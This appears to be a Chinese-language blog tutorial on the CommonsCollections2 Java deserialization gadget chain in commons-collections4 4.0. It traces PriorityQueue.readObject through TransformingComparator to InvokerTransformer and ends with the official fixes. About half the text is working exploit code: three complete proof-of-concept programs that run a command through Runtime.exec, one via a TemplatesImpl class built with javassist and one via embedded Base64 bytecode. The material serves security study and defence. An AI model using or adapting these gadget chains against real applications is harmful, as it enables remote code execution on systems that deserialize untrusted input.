CommonsCollections 2

前面的cc1、cc3、cc6都是基于commons-collections:commons-collections的3.1-3.2.1这几个版本的，但后面有了新的分支org.apache.commons:commons-collections4的4.0版本。但是org.apache.commons:commons-collections4的groupId和artifactId都变了，形成了两个分支。

因为commons-collections4不是用来替换commons-collections的一个新版本，而是修复旧的commons-collections的⼀些架构和API设计上的问题的一个拓展。两者的命名空间并不冲突，都可以放在同一个项目中，当于作为一个拓展。

commons-collections4改动

我们用cc6链的poc做实验，直接将包名一改，把import org.apache.commons.collections.*改成import org.apache.commons.collections4.*

在CommonsCollections-4.0版本中，删除了LazyMap的decorate方法，但是有一个lazyMap方法，方法内容一样，所以直接替换一下方法名就可以用：

# 老版本
public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}    

# 4.0
public static <V, K> LazyMap<K, V> lazyMap(Map<K, V> map, Transformer<? super K, ? extends V> factory) {
    return new LazyMap(map, factory);
}

将LazyMap.decorate()改成LazyMap.lazyMap()，运行，弹出计算机，说明老的cc1、cc3、cc6都可以在新的collections4上继续使用

cc2预备

PriorityQueue利用链

cc链的核心，毫无疑问是Transformer#transform()，我们得想办法调入transform中，在里面去执行命令；而cc链的入口，就是Serializable#readObject() ，所以说我们要做的，就是想办法把它们头尾连起来

而在CommonsCollections2中，有两个核心类，也就是链子的一头一尾：

一个是java.util.PriorityQueue，这个类中有自己的readObject()方法，所以说可以作为链子的开头：

优先队列PriorityQueue是Queue接口的实现类，基于二叉堆实现，可以对其中元素进行排序，和先进先出（FIFO）的队列的区别在于，优先队列每次出队的元素都是优先级最高的元素，Java通过堆使得每次出队的元素总是队列里面最小的

二叉堆是一种特殊的堆，是完全二叉树或者近似于完全二叉树，二叉堆分为最大堆和最小堆 最大堆：父结点的键值总是大于或等于任何一个子节点的键值；最小堆：父结点的键值总是小于或等于任何一个子节点的键值

重点在于每次排序都要触发传入的比较器comparator的compare()方法。并且这个类重写了readObject()方法

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

该函数中s.defaultReadObject()调用默认的方法，利用readInt()读取了数组的大小，接着通过s.readObject()读取Queue中的元素，因为在反序列化的时候队列元素也被序列化了，接着调用heapify()方法，跟进一下

@SuppressWarnings("unchecked")
private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

该函数中会循环寻找最后一个非叶子节点 , 然后倒序调用 siftDown() 方法。>>>是无符号右移，将第一个操作数向右移动指定的位数。向右移动的多余位将被丢弃，零位从左侧移入，其符号位变为 0，因此其表示的结果始终为非负数。该函数将无序数组 queue 的内容还原为二叉堆( 优先级队列 )。继续跟进siftDown()方法

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

这里会判断是否拥有比较器comparator而进入不同比较逻辑。在PriorityQueue的构造方法中是否拥有比较器是可控的，这里要注意当initialCapacity的值小于1时会抛出异常，所以初始化时传入的值要大于或等于2。

public PriorityQueue(int initialCapacity,
                     Comparator<? super E> comparator) {
    // Note: This restriction of at least one is not actually needed,
    // but continues for 1.5 compatibility
    if (initialCapacity < 1)
        throw new IllegalArgumentException();
    this.queue = new Object[initialCapacity];
    this.comparator = comparator;
}

然后跟进有比较器时调用的siftDownUsingComparator()方法

@SuppressWarnings("unchecked")
private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

该函数当k < half时就能进入循环，调用到比较器的compare()方法⽐较树的节点，这里half = size >>> 1且k来自heapify()的循环变量 i 其最小值为0，所以推导出size>=2，这里很容易理解，至少需要两个元素才能触发排序和比较。而size默认值是为0的，需要经过两次入队(offer)后变为2，即调用Queue#add()方法

public boolean add(E e) {
    return offer(e);
}
// ...
public boolean offer(E e) {
    if (e == null)
        throw new NullPointerException();
    modCount++;
    int i = size;
    if (i >= queue.length)
        grow(i + 1);
    size = i + 1;  // <--size的值增加
    if (i == 0)
        queue[0] = e;
    else
        siftUp(i, e);
    return true;
}

总而言之，整个优先队列调用重写后的readObject()方法反序列化，然后反序列化队列元素，并调用heapify()方法，让队列中的元素保持优先级顺序，而排序过程就是二叉堆的树节点下移的过程，即调用siftDown()方法，并调用compare()⽅法⽐较树的节点

TransformingComparator

org.apache.commons.collections4.comparators.TransformingComparator是cc2链子的尾，这个类中有调用transform()方法的函数compare()

TransformingComparator是一个比较器comparator，实现了java.util.Comparator接⼝

TransformingComparator调用compare方法时，就会调用传入transformer对象的transform方法

public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

当ChainedTransformer对象作为参数传入时就会调用ChainedTransformer#transform反射链执行命令

这就是cc2链的尾巴，之所以commons-collections3.1-3.2.1版本无法使用是因为TransformingComparator在3.1-3.2.1版本中还没有实现Serializable接口，无法被反序列化

那么将比较器设置为TransformingComparator就能实现利用链调用了

这条链子就是从PriorityQueue类中的readObject()方法到TransformingComparator类中的compare()方法：

PriorityQueue类中的readObject()方法里面调用了heapify()，heapify()里面调用了siftDown()，siftDown()里面调用了siftDownUsingComparator，siftDownUsingComparator里面调用了comparator.compare()，就成功调用到上面TransformingComparator类中的compare()方法。

POC

import java.io.*;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import java.util.Queue;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

public class CommonsCollections_2 {
    public static void main(String[] args) throws Exception {
        // 构造假Transformer数组
        Transformer[] faketransfromer = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(faketransfromer);
        // 将ChainedTransformer对象放入TransformingComparator对象中
        Comparator comparator = new TransformingComparator(transformerChain);
        // initialCapacity >=2，将比较器设置为TransformingComparator
        Queue queue = new PriorityQueue(2, comparator);
        // size>=2，添加队列元素用于比较,且元素类型一致
        queue.add(1);
        queue.add(2);
        // 放入真正的恶意对象
        setFieldValue(transformerChain, "iTransformers", transformer);
        
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }

    public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field1 = obj.getClass().getDeclaredField(field);
        field1.setAccessible(true);
        field1.set(obj, value);
    }
}

但我们发现transient Object[] queue;变量被transient 修饰，在序列化时应该不被写入流中，但我们却能从流中反序列化queue中的元素。

这是因为序列化规范允许待序列化的类实现writeObject方法，实现对自己的成员控制权：

private void writeObject(java.io.ObjectOutputStream s)
    throws java.io.IOException {
    // Write out element count, and any hidden stuff
    s.defaultWriteObject();

    // Write out array length, for compatibility with 1.5 version
    s.writeInt(Math.max(2, size + 1));

    // Write out all elements in the "proper order".
    for (int i = 0; i < size; i++)
        s.writeObject(queue[i]);
}

因此queue被写入到了反序列化流中，从而被readObject()在反序列化流中读取队列元素

利用javassist

那么我们就先利用javassist生成恶意Java字节码并填充在TemplatesImpl对象的_bytecodes属性

// 创建CommonsCollections2对象，父类为AbstractTranslet，注入了payload进构造函数
ClassPool classPool = ClassPool.getDefault();  // 返回默认的类池
classPool.appendClassPath(AbstractTranslet);  // 添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("CommonsCollections2");  // 创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet));  // 设置CommonsCollections2类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");  // 创建一个static方法，并插入runtime
byte[] bytes = payload.toBytecode();

poc:

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.util.PriorityQueue;

public class Test {
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchFieldException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";


        // 创建CommonsCollections2对象，父类为AbstractTranslet，注入了payload进构造函数
        ClassPool classPool = ClassPool.getDefault();  // 返回默认的类池
        classPool.appendClassPath(AbstractTranslet);  // 添加AbstractTranslet的搜索路径
        CtClass payload = classPool.makeClass("CommonsCollections2");  // 创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));   // 设置CommonsCollections2类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");  // 创建一个static方法，并插入runtime
        byte[] bytes = payload.toBytecode();
        
        // 通过反射注入bytes的值
        Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();  // 反射创建TemplatesImpl
        Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");  // 反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);
        field.set(templatesImpl, new byte[][]{bytes});  // 将templatesImpl上的_bytecodes字段设置为runtime的byte数组

        // 通过反射设置_name的值不为null
        Field field1 = templatesImpl.getClass().getDeclaredField("_name");  // 反射获取templatesImpl的_name字段
        field1.setAccessible(true);
        field1.set(templatesImpl, "L1");

        InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
        TransformingComparator comparator = new TransformingComparator(transformer);  // 使用TransformingComparator修饰器传入transformer对象

        // 创建PriorityQueue实例化对象，排序后使size值为2
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        Field field2 = queue.getClass().getDeclaredField("comparator");  // 获取PriorityQueue的comparator字段
        field2.setAccessible(true);
        field2.set(queue, comparator);  // 设置PriorityQueue的comparator字段值为comparator

        Field field3 = queue.getClass().getDeclaredField("queue");  // 获取PriorityQueue的queue字段
        field3.setAccessible(true);
        field3.set(queue, new Object[]{templatesImpl, templatesImpl});  // 设置PriorityQueue的queue字段内容Object数组，内容为templatesImpl

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

简单点：

首先创建TemplatesImpl对象，然后创造一个人畜无害的transformer，里面随便调用一个方法就行，比如说toString，然后就和上面一样实例化TransformingComparator和PriorityQueue对象，但是这里我们得向队列中添加我们前面创建的TemplatesImpl对象，因为我们不能用数组了，所以说没办法通过ConstantTransformer把对象传进来了，⽽在Comparator#compare() 时，队列⾥的元素将作为参数传⼊transform()⽅法，这就是传给TemplatesImpl#newTransformer的参数，相当于就执行TemplatesImpl对象里的newTransformer()方法

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import org.apache.commons.collections4.comparators.TransformingComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.*;


public class CommonsCollections2_2 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "L1mbo");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        Transformer transformer = new InvokerTransformer("toString",null,null);
        Comparator comparator = new TransformingComparator(transformer);
        Queue queue = new PriorityQueue(2, comparator);
        queue.add(obj);
        queue.add(obj);

        setFieldValue(transformer,"iMethodName","newTransformer");

        // ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

cc官方修复

Apache Commons Collections官⽅在2015年底得知序列化相关的问题后，就在两个分⽀上同时发布了新的版本，4.1和3.2.2；先看3.2.2，通过diff可以发现，新版代码中增加了⼀个⽅法FunctorUtils#checkUnsafeSerialization，⽤于检测反序列化是否安全。如果开发者没有设置全局配置org.apache.commons.collections.enableUnsafeSerialization=true，即默认情况下会 抛出异常。 这个检查在常⻅的危险Transformer类（InstantiateTransformer、InvokerTransformer、PrototypeFactory、CloneTransformer等的 readObject ⾥进⾏调⽤，所以，当我们反序列化包含这些对象时就会抛出⼀个异常；再看4.1，修复⽅式⼜不⼀样。4.1⾥，这⼏个危险Transformer类不再实现 Serializable 接⼝，也就是说，他们⼏个彻底⽆法序列化和反序列化了----。